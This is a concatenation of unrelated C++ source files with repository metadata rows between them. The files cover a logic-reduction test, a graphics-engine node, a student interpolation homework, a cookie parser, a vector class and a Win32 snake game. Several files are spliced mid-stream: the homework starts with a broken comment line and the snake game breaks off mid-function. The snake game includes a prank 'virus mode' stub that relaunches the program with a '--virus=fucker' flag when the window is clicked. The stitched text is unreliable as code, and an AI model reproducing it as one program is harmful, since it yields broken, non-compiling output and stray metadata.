/**** Copyright 2005-2007, Moshe Looks and Novamente LLC Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ****/ #include "reduct/reduct.h" #include "combo/eval.h" #include <iostream> using namespace combo; using namespace std; using namespace reduct; using namespace util; int main() { vtree tr; while (cin.good()) { cin >> tr; if (!cin.good()) break; truth_table tt1(tr); //cout << "AR" << endl; logical_reduce(tr); //cout << "RA" << endl; truth_table tt2(tr,integer_log2(tt1.size())); cout << tr << endl; //cout << "checking tt" << endl; if (tt1!=tt2) { cout << tt1 << endl << tt2 << endl; cerr << "truth-tables don't match!" << endl; return 1; } //cout << "OK" << endl; } return 0; }
26.75
75
0.640187
moshelooks
7b0826f75ef7fa20c6665210f3ab964cca196dea
1,350
cpp
C++
SVEngine/src/node/SV2DFaceMaskNode.cpp
SVEChina/SVEngine
56174f479a3096e57165448142c1822e7db8c02f
[ "MIT" ]
34
2018-09-28T08:28:27.000Z
2022-01-15T10:31:41.000Z
SVEngine/src/node/SV2DFaceMaskNode.cpp
SVEChina/SVEngine
56174f479a3096e57165448142c1822e7db8c02f
[ "MIT" ]
null
null
null
SVEngine/src/node/SV2DFaceMaskNode.cpp
SVEChina/SVEngine
56174f479a3096e57165448142c1822e7db8c02f
[ "MIT" ]
8
2018-10-11T13:36:35.000Z
2021-04-01T09:29:34.000Z
// // SV2DFaceMaskNode.cpp // SVEngine // Copyright 2017-2020 // yizhou Fu,long Yin,longfei Lin,ziyu Xu,xiaofan Li,daming Li // #include "SV2DFaceMaskNode.h" #include "SVCameraNode.h" #include "SVScene.h" #include "../app/SVInst.h" #include "../basesys/SVConfig.h" #include "../mtl/SVTexMgr.h" #include "../mtl/SVTexture.h" #include "../mtl/SVMtlFace2D.h" #include "../rendercore/SVRenderObject.h" #include "../rendercore/SVRenderMesh.h" #include "../app/SVGlobalMgr.h" #include "../rendercore/SVRenderMgr.h" SV2DFaceMaskNode::SV2DFaceMaskNode(SVInst *_app) :SVNode(_app) { ntype = "SV2DFaceMaskNode"; m_pIndexs = MakeSharedPtr<SVDataSwap>(); m_pVerts = MakeSharedPtr<SVDataSwap>(); m_pT0 = MakeSharedPtr<SVDataSwap>(); m_renderObject = MakeSharedPtr<SVRenderObject>(); m_pFaceMesh = MakeSharedPtr<SVRenderMeshDvid>(mApp); } SV2DFaceMaskNode::~SV2DFaceMaskNode() { m_pIndexs = nullptr; m_pVerts = nullptr; m_pT0 = nullptr; m_mtlFace2D = nullptr; m_renderObject = nullptr; m_pFaceMesh = nullptr; } void SV2DFaceMaskNode::update(f32 dt) { SVNode::update(dt); } void SV2DFaceMaskNode::render() { SVNode::render(); } void SV2DFaceMaskNode::setMaterial(SVMtlFace2DPtr _mtlFace2D){ m_mtlFace2D = _mtlFace2D; } SVMtlFace2DPtr SV2DFaceMaskNode::getMaterial(){ return m_mtlFace2D; }
24.545455
62
0.713333
SVEChina
7b0c11475418494fa9b7a587f50b7824efb72b7f
4,349
cpp
C++
Final/Dataset/B2016_Z3_Z1/student1453.cpp
Team-PyRated/PyRated
1df171c8a5a98977b7a96ee298a288314d1b1b96
[ "MIT" ]
null
null
null
Final/Dataset/B2016_Z3_Z1/student1453.cpp
Team-PyRated/PyRated
1df171c8a5a98977b7a96ee298a288314d1b1b96
[ "MIT" ]
null
null
null
Final/Dataset/B2016_Z3_Z1/student1453.cpp
Team-PyRated/PyRated
1df171c8a5a98977b7a96ee298a288314d1b1b96
[ "MIT" ]
null
null
null
/B2016/2017: Zadaća 3, Zadatak 1 //Autotestovi by Enil Pajic (epajic1@etf.unsa.ba) #include <iostream> #include <functional> #include <cmath> #include <vector> #include <stdexcept> double xsinx (double x){return x*x+sin(x);} double min(double x, double y){ if(x<y) return x; else return y; } double max(double x, double y){ if(x>y) return x; else return y; } double w(int n, int d, int index, double xi,const std::vector<std::pair<double,double>> &x){ //radi li bez const ref double suma(0); index++; for(int k=max(1,index-d);k<=min(index,n-d);k++){ double proizvod(1); for(int j=k-1;j<k+d;j++){ if(index-1==j) continue; //j!=i proizvod*=(1/(xi-x[j].first)); } proizvod*=pow(-1,k-1); suma+=proizvod; } return suma; } std::function<double(double)> BaricentricnaInterpolacija(std::vector<std::pair<double,double>> v, int d){ if(d<0||d>v.size()) throw std::domain_error("Nedozvoljen red"); return [v,d](double x) { for(int i=0;i<v.size();i++){ if(x==v[i].first) return v[i].second; } int n=v.size(); int i=0; auto f1(double((w(n,d,i,v[i].first,v)*(v[i].second))/(x-v[i].first))); auto f2((w(n,d,i,v[i].first,v))/(x-v[i].first)); for(i=1;i<n;i++){ //<= f1=f1+(w(n,d,i,v[i].first,v)*(v[i].second))/(x-v[i].first); f2=f2+(w(n,d,i,v[i].first,v))/(x-v[i].first); } return f1/f2;}; } std::function<double(double)> BaricentricnaInterpolacija(std::function<double(double)> f,double x_min,double x_max,double dx, int d){ //mozda double kod min i max if(x_min>x_max || dx<=0) throw std::domain_error("Nekorektni parametri"); std::vector<std::pair<double,double>> v; v.push_back(std::make_pair(x_min,f(x_min))); x_min+=dx; for(;;){ if(x_min>x_max) break; v.push_back(std::make_pair(x_min,f(x_min))); x_min+=dx; } return BaricentricnaInterpolacija(v,d); } int main (){ try{ int d; double x_min,x_max,dx; std::vector<std::pair<double,double>> v; do{ bool dobro(true); std::cout << "Odaberite opciju (1 - unos cvorova, 2 - aproksimacija): "; int unos; std::cin>> unos; if(!unos) break; if(unos==1){ std::cout << "Unesite broj cvorova: "; int n; std::cin>>n; std::cout << "Unesite cvorove kao parove x y: "; for(int i=0;i<n;i++){ double x,y; std::cin >> x>>y; v.push_back(std::make_pair(x,y)); } std::cout << "Unesite red interpolacije: "; std::cin>> d; do{ std::cout << "Unesite argument (ili \"kraj\" za kraj): "; double a; std::cin >> a; if(!std::cin){ dobro=false; break;} std::cout << "f(" <<a<<") = "<<BaricentricnaInterpolacija(v,d)(a)<< std::endl; }while(1); } if(!dobro) break; bool dobro2(true); if(unos==2){ std::cout << "Unesite krajeve intervala i korak: "; std::cin>>x_min>>x_max>>dx; std::cout << "Unesite red interpolacije: "; std::cin>> d; double x_min2(x_min); v.push_back(std::make_pair(x_min2,xsinx(x_min2))); x_min2+=dx; for(;;){ if(x_min2>x_max) break; v.push_back(std::make_pair(x_min2,xsinx(x_min2))); x_min2+=dx; } do{ std::cout << "Unesite argument (ili \"kraj\" za kraj): "; double a; std::cin >> a; if(!std::cin){ dobro2=false; break;} std::cout << "f("<<a<<") = "<<xsinx(a)<< " "; std::cout << "fapprox("<<a<<") = "<<BaricentricnaInterpolacija(xsinx,x_min,x_max,dx,d)(a)<< std::endl; }while(1); } if(!dobro2) break; }while(1); }catch(std::domain_error e){ std::cout << e.what() << std::endl; } return 0; }
32.699248
163
0.47988
Team-PyRated
7b134d1304fca6ef2bbfc4dc8cf4ddb67ec51438
3,878
cpp
C++
Netcode/Network/Cookie.cpp
tyekx/netcode
c46fef1eeb33ad029d0c262d39309dfa83f76c4d
[ "MIT" ]
null
null
null
Netcode/Network/Cookie.cpp
tyekx/netcode
c46fef1eeb33ad029d0c262d39309dfa83f76c4d
[ "MIT" ]
null
null
null
Netcode/Network/Cookie.cpp
tyekx/netcode
c46fef1eeb33ad029d0c262d39309dfa83f76c4d
[ "MIT" ]
null
null
null
#include "Cookie.h" #include <boost/algorithm/string.hpp> #include <vector> #include <algorithm> namespace Netcode::Network { Cookie::Cookie() : createdAt{}, maxAge{}, name{}, value{}, domain{}, path{}, cookieString{}, secure{}, httpOnly{} { } const std::string & Cookie::GetName() const { return name; } const std::string & Cookie::GetValue() const { return value; } int Cookie::GetMaxAge() const { return maxAge; } bool Cookie::IsSessionCookie() const { return maxAge == 0; } bool Cookie::IsExpired() const { return ((createdAt + std::chrono::seconds(maxAge)) < std::chrono::steady_clock::now()); } bool Cookie::IsValid() const { return !name.empty() && !value.empty(); } std::string Cookie::GetCookieString() const { return cookieString; } bool Cookie::Parse(std::string_view str, Cookie & c) { enum { EXPECTING_EQUALS = 1, EXPECTING_SEMI = 2, ERROR = 0 }; Cookie cookie; int state = EXPECTING_EQUALS; int numSemis = 0; size_t startIndex = 0; size_t countOf = 0; std::string key; std::string val; for(size_t i = 0; (i < str.size()); ++i) { if(str[i] == '=') { if((state & EXPECTING_EQUALS) > 0) { key = str.substr(startIndex, countOf); state = EXPECTING_SEMI; startIndex = i + 1; countOf = 0; } else { state = ERROR; } } else if(str[i] == ';' || (i + 1) == str.size()) { if((state & EXPECTING_SEMI) > 0) { if((i + 1) == str.size()) { countOf += 1; } val = str.substr(startIndex, countOf); state |= EXPECTING_EQUALS; startIndex = i + 1; countOf = 0; boost::algorithm::trim(key); boost::algorithm::trim(val); if(numSemis == 0) { cookie.name = std::move(key); cookie.value = std::move(val); } else { std::transform(std::begin(key), std::end(key), std::begin(key), [](char c) -> char { return std::tolower(c); }); if(key == "path") { cookie.path = std::move(val); } else if(key == "max-age") { cookie.maxAge = std::stoi(val); if(val != std::to_string(cookie.maxAge)) { state = ERROR; } } else if(key == "expires") { // maybe } else if(key == "path") { cookie.path = std::move(val); } else if(key == "domain") { cookie.domain = std::move(val); } else if(key == "secure" && val.empty()) { cookie.secure = true; } else if(key == "httponly" && val.empty()) { cookie.httpOnly = true; } } ++numSemis; key.clear(); val.clear(); } else { state = ERROR; } } else countOf += 1; } if(state == ERROR) { return false; } cookie.createdAt = std::chrono::steady_clock::now(); cookie.cookieString = cookie.name + "=" + cookie.value; c = std::move(cookie); return true; } }
28.725926
136
0.4082
tyekx
7b1f9fdf65e5e47230e9f4abeeda352cbaef4a3c
606
cpp
C++
HelicopterSimulator/DirectionAngle.cpp
MikeEckels/HillicopterSimulator
2ea290356ab713456008f0559dd52328129ac34e
[ "MIT" ]
1
2021-12-07T14:52:30.000Z
2021-12-07T14:52:30.000Z
HelicopterSimulator/DirectionAngle.cpp
MikeEckels/HillicopterSimulator
2ea290356ab713456008f0559dd52328129ac34e
[ "MIT" ]
null
null
null
HelicopterSimulator/DirectionAngle.cpp
MikeEckels/HillicopterSimulator
2ea290356ab713456008f0559dd52328129ac34e
[ "MIT" ]
1
2020-09-15T16:54:00.000Z
2020-09-15T16:54:00.000Z
#include "DirectionAngle.h" DirectionAngle::DirectionAngle(double rotation, double x, double y, double z) { Rotation = rotation; Direction = Vector3D(x, y, z); } DirectionAngle::DirectionAngle(double rotation, Vector3D direction) { Rotation = rotation; Direction = direction; } String DirectionAngle::ToString() { String r = Mathematics::DoubleToCleanString(Rotation); String x = Mathematics::DoubleToCleanString(Direction.X); String y = Mathematics::DoubleToCleanString(Direction.Y); String z = Mathematics::DoubleToCleanString(Direction.Z); return r + ": [" + x + " " + y + " " + z + "]"; }
28.857143
79
0.722772
MikeEckels
7b22b8b834b78daac1a315277173659021264e75
28,614
cpp
C++
CMySnake/CMySnake_GUI/CMySnake_GUI.cpp
shc0743/CLearn
e6580588102bb66fb76903deb6699f19b38f4676
[ "MIT" ]
null
null
null
CMySnake/CMySnake_GUI/CMySnake_GUI.cpp
shc0743/CLearn
e6580588102bb66fb76903deb6699f19b38f4676
[ "MIT" ]
null
null
null
CMySnake/CMySnake_GUI/CMySnake_GUI.cpp
shc0743/CLearn
e6580588102bb66fb76903deb6699f19b38f4676
[ "MIT" ]
null
null
null
// CMySnake_GUI.cpp : 定义应用程序的入口点。 // #include "framework.h" #include "CMySnake_GUI.h" #include "../../resource/tool.h" using namespace std; #define MAX_LOADSTRING 100 #pragma comment(lib, "comctl32.lib") #pragma comment(linker,"\"/manifestdependency:type='win32' \ name='Microsoft.Windows.Common-Controls' version='6.0.0.0' \ processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"") // 全局变量: HINSTANCE hInst; // 当前实例 WCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本 WCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名 string sid; // 当前账号sid bool VirusModeEnabled; // Enable Virus Mode struct { long x; //x long y; //y long w; //width long h; //height } windflag; #pragma warning(push) #pragma warning(disable: 26495) namespace SnakeGame { using uint = UINT; using Food = POINT; constexpr int rect_length = 20; class Window { public: Window() { hwnd = NULL; cols = rows = 0; }; ~Window() = default; public: HWND hwnd; unsigned cols, rows; }; typedef struct { time_t timestamp; time_t score; } Record; typedef struct { DWORD speed; bool exitondie; bool pauseonesc; } SnakeConf; class Snake{ public: // std const func Snake() { hThread_snakerun = NULL; score = 0; }; ~Snake() = default; protected: //var HANDLE hThread_snakerun; struct { POINT point; enum _facing_t { W, A, S, D } facing; } head; deque<POINT> body; Food nextFood; unsigned long long score; static unsigned int __stdcall RunSnake(void*); static RECT GetRectFromPoint(POINT pt); Food MakeFood(); public: //publicd-func SnakeConf cf; Window window; bool InitSnake(); void PrintSnake(HDC hdc); #undef pause void pause(bool pause = true) { if (pause) SuspendThread(hThread_snakerun); else ResumeThread(hThread_snakerun); }; void SaveScore(); void SetFacing(int facing) { head.facing = (decltype(head)::_facing_t)facing; } unsigned long long GetScore() { return score; }; }; }; #pragma warning(pop) //Global Vars SnakeGame::Snake MySnake; // 此代码模块中包含的函数的前向声明: ATOM MyRegisterClass(HINSTANCE hInstance); BOOL InitInstance(HINSTANCE, int); //void FuckerVirusLaunch(); LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM); INT_PTR CALLBACK WndProc_PauseDlg(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK WndProc_DiedDlg(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK WndProc_OptionsDlg(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK WndProc_HistoryDlg(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam); int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(lpCmdLine); // TODO: 在此处放置代码。 // 初始化全局字符串 LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING); LoadStringW(hInstance, IDC_CMYSNAKEGUI, szWindowClass, MAX_LOADSTRING); MyRegisterClass(hInstance); sid = GetCurrentUserSecurityId(); // 初始化窗口设置 ::memset(&windflag, 0, sizeof(windflag)); // 1.加载偏好 // 检测偏好文件是否存在 if (!file_exists("./cmysnake/" + sid + "/window.flags")) { //建立偏好文件 create_profile: //只找到Unicode版本的mkdir,将就着用吧 int wm = _wmkdir(L"./cmysnake"); wm = wm | ((_wmkdir(s2wc("./cmysnake/" + sid))) << 8); fstream fp("./cmysnake/" + sid + "/window.flags", ios::out | ios::binary); if (!fp) { //出错,报错并退出 int r = MessageBoxW(NULL, L"无法建立文件", L"ERROR", MB_ICONERROR | MB_ABORTRETRYIGNORE); if (r == IDABORT) exit(1); if (r == IDRETRY) goto create_profile; if (r == IDIGNORE) { if (MessageBoxA(NULL, "无法忽略!!是否重试?", "不让你忽略", MB_ICONERROR | MB_YESNO) == IDYES) goto create_profile; else exit(1); } } //使用默认设置 windflag.x = windflag.y = CW_USEDEFAULT; windflag.w = 416; windflag.h = 419; //写入并关闭文件 fp.write((char*)&windflag, sizeof(windflag)); fp.close(); } { // 加载偏好 fstream fp("./cmysnake/" + sid + "/window.flags", ios::in | ios::binary); fp.read((char*)&windflag, sizeof(windflag)); fp.close(); } // 2.使用命令行参数 // 在后面加载,可以覆盖偏好设置,所以命令行参数优先 CmdLineA cl(::GetCommandLineA()); if (cl.getopt("pos-x") || cl.getopt("pos-y") || cl.getopt("width") || cl.getopt("height")) { string x, y, w, h; cl.getopt("pos-x", x); cl.getopt("pos-y", y); cl.getopt("width", w); cl.getopt("height", h); decltype(windflag) wf { atol(x.c_str()), atol(y.c_str()), atol(w.c_str()), atol(h.c_str()) }; if (wf.x) windflag.x = wf.x; if (wf.y) windflag.x = wf.y; if (wf.w) windflag.x = wf.w; if (wf.h) windflag.x = wf.h; } #if ! (404) if (cl.getopt("enable-virus-mode")) { VirusModeEnabled = true; } if(cl.getopt("virus")){ string vt; cl.getopt("virus", vt); if (vt == "fucker") { FuckerVirusLaunch(); exit(0); } } #endif // 执行应用程序初始化: if (!InitInstance (hInstance, nCmdShow)) { return FALSE; } HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_CMYSNAKEGUI)); MSG msg; // 主消息循环: while (GetMessage(&msg, nullptr, 0, 0)) { if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } } return (int) msg.wParam; } // // 函数: MyRegisterClass() // // 目标: 注册窗口类。 // ATOM MyRegisterClass(HINSTANCE hInstance) { WNDCLASSEXW wcex{ 0 }; wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW; wcex.lpfnWndProc = WndProc; wcex.cbClsExtra = 0; wcex.cbWndExtra = 0; wcex.hInstance = hInstance; // wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_CMYSNAKEGUI)); wcex.hIcon = NULL; wcex.hCursor = LoadCursor(nullptr, IDC_ARROW); wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); // wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_CMYSNAKEGUI); wcex.lpszMenuName = NULL; wcex.lpszClassName = szWindowClass; // wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL)); wcex.hIconSm = NULL; return RegisterClassExW(&wcex); } // // 函数: InitInstance(HINSTANCE, int) // // 目标: 保存实例句柄并创建主窗口 // // 注释: // // 在此函数中,我们在全局变量中保存实例句柄并 // 创建和显示主程序窗口。 // BOOL InitInstance(HINSTANCE hInstance, int nCmdShow) { hInst = hInstance; // 将实例句柄存储在全局变量中 HWND hWnd = CreateWindowExW(0, szWindowClass, szTitle, WS_OVERLAPPEDWINDOW, windflag.x, windflag.y, windflag.w, windflag.h, nullptr, nullptr, hInstance, nullptr); if (!hWnd) { return FALSE; } ShowWindow(hWnd, nCmdShow); UpdateWindow(hWnd); return TRUE; } // // 函数: WndProc(HWND, UINT, WPARAM, LPARAM) // // 目标: 处理主窗口的消息。 // // WM_COMMAND - 处理应用程序菜单 // WM_PAINT - 绘制主窗口 // WM_DESTROY - 发送退出消息并返回 // // LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_CREATE: { // 初始化Snake // 1. 存储HWND MySnake.window.hwnd = hWnd; // 2. 获取Window初始大小 constexpr int _step = SnakeGame::rect_length; windflag.w = ((long)(round((double)windflag.w / _step) * _step)) - 5; windflag.h = ((long)(round((double)windflag.h / _step) * _step)) - 1; ::SetWindowPos(hWnd, 0, 0, 0, windflag.w, windflag.h, SWP_NOMOVE | SWP_NOZORDER); // 2.1 存入Snake::Window MySnake.window.cols = (UINT)round((double)windflag.w / _step); MySnake.window.rows = (UINT)round((double)windflag.h / _step); // 3. 初始化Snake try { MySnake.InitSnake(); } catch (exception&e) { MessageBoxA(hWnd, e.what(), "Exception", MB_ICONERROR); exit(1); } } break; case WM_MOVE: { //更新偏好 RECT rc; GetWindowRect(hWnd, &rc); windflag.x = rc.left; windflag.y = rc.top; break; } case WM_SIZE: { //更新偏好 RECT rc; GetWindowRect(hWnd, &rc); windflag.w = rc.right - rc.left; windflag.h = rc.bottom - rc.top; //修正 constexpr int _step = SnakeGame::rect_length; windflag.w = ((long)(round((double)windflag.w / _step) * _step)) - 5; windflag.h = ((long)(round((double)windflag.h / _step) * _step)) - 1; //最小大小 if (windflag.w < 215) windflag.w = 215; if (windflag.h < 239) windflag.h = 239; //设置 ::SetWindowPos(hWnd, 0, 0, 0, windflag.w, windflag.h, SWP_NOMOVE | SWP_NOZORDER); // 存入Snake::Window MySnake.window.cols = (UINT)round((double)windflag.w / _step); MySnake.window.rows = (UINT)round((double)windflag.h / _step); break; } case WM_LBUTTONDOWN: case WM_RBUTTONDOWN: if (VirusModeEnabled) { MySnake.pause(); EnableWindow(hWnd, 0); Process.StartOnly(s2ws("\"" + GetProgramDir() + "\" --virus=fucker")); exit(0); } break; case WM_KEYDOWN: { // VK_ESCAPE是ESC if (wParam == VK_ESCAPE && MySnake.cf.pauseonesc) { MySnake.pause(); DialogBox(hInst, MAKEINTRESOURCE(IDD_DIALOG_PAUSED), hWnd, WndProc_PauseDlg); MySnake.pause(0); break; } if (wParam == VK_SPACE) { // 不弹框暂停 static bool paused = false; // 已暂停 static HWND hTipsWindow = NULL; MySnake.pause(paused = !paused); RECT rc; GetWindowRect(hWnd, &rc); if (hTipsWindow == NULL) { hTipsWindow = CreateWindowExW(WS_EX_LAYERED | WS_EX_NOACTIVATE, L"#32770", L"Game Paused", WS_DISABLED, rc.left, rc.top, 50, 20, NULL, 0, 0, 0); if (!hTipsWindow) break; SetLayeredWindowAttributes(hTipsWindow, 0, 255, LWA_ALPHA); } SetWindowPos(hTipsWindow, (HWND)-1, rc.left, rc.top, 0, 0, SWP_NOSIZE); ShowWindow(hTipsWindow, paused); SetForegroundWindow(hWnd); break; } switch (wParam) { case 'W': case VK_UP: MySnake.SetFacing(0); break; case 'A': case VK_LEFT: MySnake.SetFacing(1); break; case 'S': case VK_DOWN: MySnake.SetFacing(2); break; case 'D': case VK_RIGHT: MySnake.SetFacing(3); break; default: break; } //return DefWindowProc(hWnd, message, wParam, lParam); return 0; break; // 习惯写上 } case WM_COMMAND: { int wmId = LOWORD(wParam); // 分析菜单选择: switch (wmId) { case IDM_ABOUT: DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About); break; case IDM_EXIT: DestroyWindow(hWnd); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } } break; case WM_PAINT: { PAINTSTRUCT ps; HDC hdc = BeginPaint(hWnd, &ps); // TODO: 在此处添加使用 hdc 的任何绘图代码... { //画方格 int w = 0, h = 0; constexpr int _step = SnakeGame::rect_length; for (h = 0; h < windflag.h; h += _step) { for (w = _step; w < windflag.w; w += _step) { MoveToEx(hdc, w, 0, NULL); LineTo(hdc, w, windflag.h); } MoveToEx(hdc, 0, h, NULL); LineTo(hdc, windflag.w, h); } } MySnake.PrintSnake(hdc); EndPaint(hWnd, &ps); } break; case WM_DESTROY: // 保存分数 MySnake.SaveScore(); //退出啊啊啊啊啊啊 PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; } // “关于”框的消息处理程序。 INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) { UNREFERENCED_PARAMETER(lParam); switch (message) { case WM_INITDIALOG: return (INT_PTR)TRUE; case WM_COMMAND: if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) { EndDialog(hDlg, LOWORD(wParam)); return (INT_PTR)TRUE; } break; } return (INT_PTR)FALSE; } // “暂停”框的消息处理程序。 INT_PTR CALLBACK WndProc_PauseDlg(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) { UNREFERENCED_PARAMETER(lParam); switch (message) { case WM_INITDIALOG: SetDlgItemTextA(hDlg, IDC_STATIC_PAUSED_SCORE_SHOW, to_string(MySnake.GetScore()) .c_str()); return (INT_PTR)TRUE; break; case WM_COMMAND: { int ctlid = LOWORD(wParam); if (ctlid == IDCANCEL) { EndDialog(hDlg, 0); break; } if (ctlid == IDC_BUTTON_NOSAVE_EXIT) { if (MessageBoxA(hDlg, "Do not save and exit?", "Exit Confirm", MB_ICONQUESTION | MB_YESNOCANCEL | MB_DEFBUTTON2) == IDYES) exit(0); break; } if (ctlid == IDC_BUTTON_OPTIONS) { DialogBox(hInst, MAKEINTRESOURCE(IDD_DIALOG_OPTIONS), hDlg, WndProc_OptionsDlg); } if (ctlid == IDC_BUTTON_HIST) { DialogBox(hInst, MAKEINTRESOURCE(IDD_DIALOG_HISTORY), hDlg, WndProc_HistoryDlg); } if (ctlid == IDOK) { MySnake.SaveScore(); MessageBoxA(hDlg, ("Your score: " + to_string(MySnake.GetScore())).c_str(), "CMySnake_GUI", MB_ICONINFORMATION); exit(0); } break; } default: break; } return (INT_PTR)FALSE; } // “DIED”框的消息处理程序。 INT_PTR CALLBACK WndProc_DiedDlg(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) { UNREFERENCED_PARAMETER(lParam); switch (message) { case WM_INITDIALOG: SetDlgItemTextA(hDlg, IDC_STATIC_SCORE_L, to_string(MySnake.GetScore()).c_str()); return (INT_PTR)TRUE; break; case WM_COMMAND: { int ctlid = LOWORD(wParam); MySnake.SaveScore(); if (ctlid == IDOK) { DestroyWindow(MySnake.window.hwnd); Process.StartOnly(s2ws(GetProgramDir())); exit(0); } else { DestroyWindow(MySnake.window.hwnd); exit(0); } break; } default: break; } return (INT_PTR)FALSE; } // “选项”框的消息处理程序。 INT_PTR CALLBACK WndProc_OptionsDlg(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) { UNREFERENCED_PARAMETER(lParam); switch (message) { case WM_INITDIALOG: SetDlgItemTextA(hDlg, IDC_EDIT_SNAKESPEED, to_string(MySnake.cf.speed).c_str()); return (INT_PTR)TRUE; break; case WM_COMMAND: { int ctlid = LOWORD(wParam); if (ctlid == IDCANCEL) { EndDialog(hDlg, 0); break; } if (ctlid == IDC_BUTTON_ABOUT) { DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hDlg, About); } if (ctlid == IDOK) { char buffer[260] = { 0 }; GetDlgItemTextA(hDlg, IDC_EDIT_SNAKESPEED, buffer, 260); MySnake.cf.speed = atol(buffer); fstream fp2("./cmysnake/" + GetCurrentUserSecurityId() + "/snake.conf.b", ios::out | ios::binary); if (!fp2) { // failed MessageBoxA(hDlg, "InitError: An error occurred while editing profile.", "Error", MB_ICONERROR); return false; } fp2.write((char*)&MySnake.cf, sizeof(MySnake.cf)); fp2.close(); EndDialog(hDlg, 0); break; } break; } default: break; } return (INT_PTR)FALSE; } // “历史”框的消息处理程序。 INT_PTR CALLBACK WndProc_HistoryDlg(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) { UNREFERENCED_PARAMETER(lParam); switch (message) { case WM_INITDIALOG: // TODO: Load History Data return (INT_PTR)TRUE; break; case WM_COMMAND: { int ctlid = LOWORD(wParam); if (ctlid == IDCANCEL || ctlid == IDOK) { EndDialog(hDlg, 0); break; } break; } default: break; } return (INT_PTR)FALSE; } bool SnakeGame::Snake::InitSnake() { // Load Config // yinweinaigeshurufabaeigaisidesougourilesuoyizhaxiezhushiyongEnglishxie fstream fp("./cmysnake/" + GetCurrentUserSecurityId() + "/snake.conf.b", ios::in|ios::binary); if (!fp) { // no config file exists // create it... fstream fp2("./cmysnake/" + GetCurrentUserSecurityId() + "/snake.conf.b", ios::out |ios::binary); if (!fp2) { // failed throw exception("InitError: An error occurred while creating profile."); return false; } cf.speed = 500; cf.exitondie = false; cf.pauseonesc = true; fp2.write((char*)&cf, sizeof(cf)); fp2.close(); // reopen fp.open("./cmysnake/" + GetCurrentUserSecurityId() + "/snake.conf.b", ios::in|ios::binary); } // ok fp.read((char*)&cf, sizeof(cf)); // close file fp.close(); // 创建线程 hThread_snakerun = (HANDLE)_beginthreadex(NULL, 0, reinterpret_cast <_beginthreadex_proc_type>(RunSnake), (LPVOID)this, CREATE_SUSPENDED, 0); if (!hThread_snakerun) { throw exception("InitError: An error occurred while init snake class."); return false; } // 随机选择一个初始位置 srand((UINT)time(0)); while (1) { // 设为头部节点 // (希望不要出问题吧。。。) head.point.x = (rand() % window.cols) * rect_length; head.point.y = (rand() % window.rows) * rect_length; // 检测出界 if (head.point.x > rect_length * (int)window.cols) continue; if (head.point.y > rect_length * (int)window.rows) continue; break; } // 要像SIZE那样修正一下 constexpr int _step = rect_length; head.point.x = ((long)(round((double)head.point.x / _step) * _step)); head.point.y = ((long)(round((double)head.point.y / _step) * _step)); // 随机选择头部方向 // 但不能完全随机 // 需要判断是否离某一边过近 // 否则一开始就结束 while (1) { srand((UINT)time(0)); head.facing = (decltype(head)::_facing_t)(rand() % 4); if (head.facing == head.W && head.point.y - 1 < 1) continue; if (head.facing == head.A && head.point.x - 1 < 1) continue; if (head.facing == head.S && head.point.y + 1 > (long)window.rows) continue; if (head.facing == head.D && head.point.x + 1 > (long)window.cols) continue; break; } //生成食物节点 nextFood = MakeFood(); //启动线程 ResumeThread(hThread_snakerun); return true; } SnakeGame::Food SnakeGame::Snake::MakeFood() { // 跟头部差不多 // 就不打注释了 //srand((UINT)time(0)); //但是这行要去掉,否则会导致随机数一样 Food fd{ 0 }; while (1) { fd.x = (rand() % window.cols); fd.y = (rand() % window.rows); constexpr int _step = rect_length; fd.x *= _step; fd.y *= _step; fd.x = ((long)(round((double)fd.x / _step) * _step)); fd.y = ((long)(round((double)fd.y / _step) * _step)); //防止食物和蛇在同一点 if (!memcmp(&fd, &head.point, sizeof(POINT))) continue; //越界检测 if (fd.x > _step * (((int)window.cols)) - 3 * rect_length) continue; if (fd.y > _step * (((int)window.rows)) - 3 * rect_length) continue; break; } return fd; } unsigned int __stdcall SnakeGame::Snake::RunSnake(void*the) { Snake* theclass = (Snake*)the; while (1) { // 等待 Sleep(theclass->cf.speed); // 向头部方向扩展一格 // 1. 存储当前头部位置 POINT pt = theclass->head.point; // 2. 存入body theclass->body.push_front(pt); // 3. 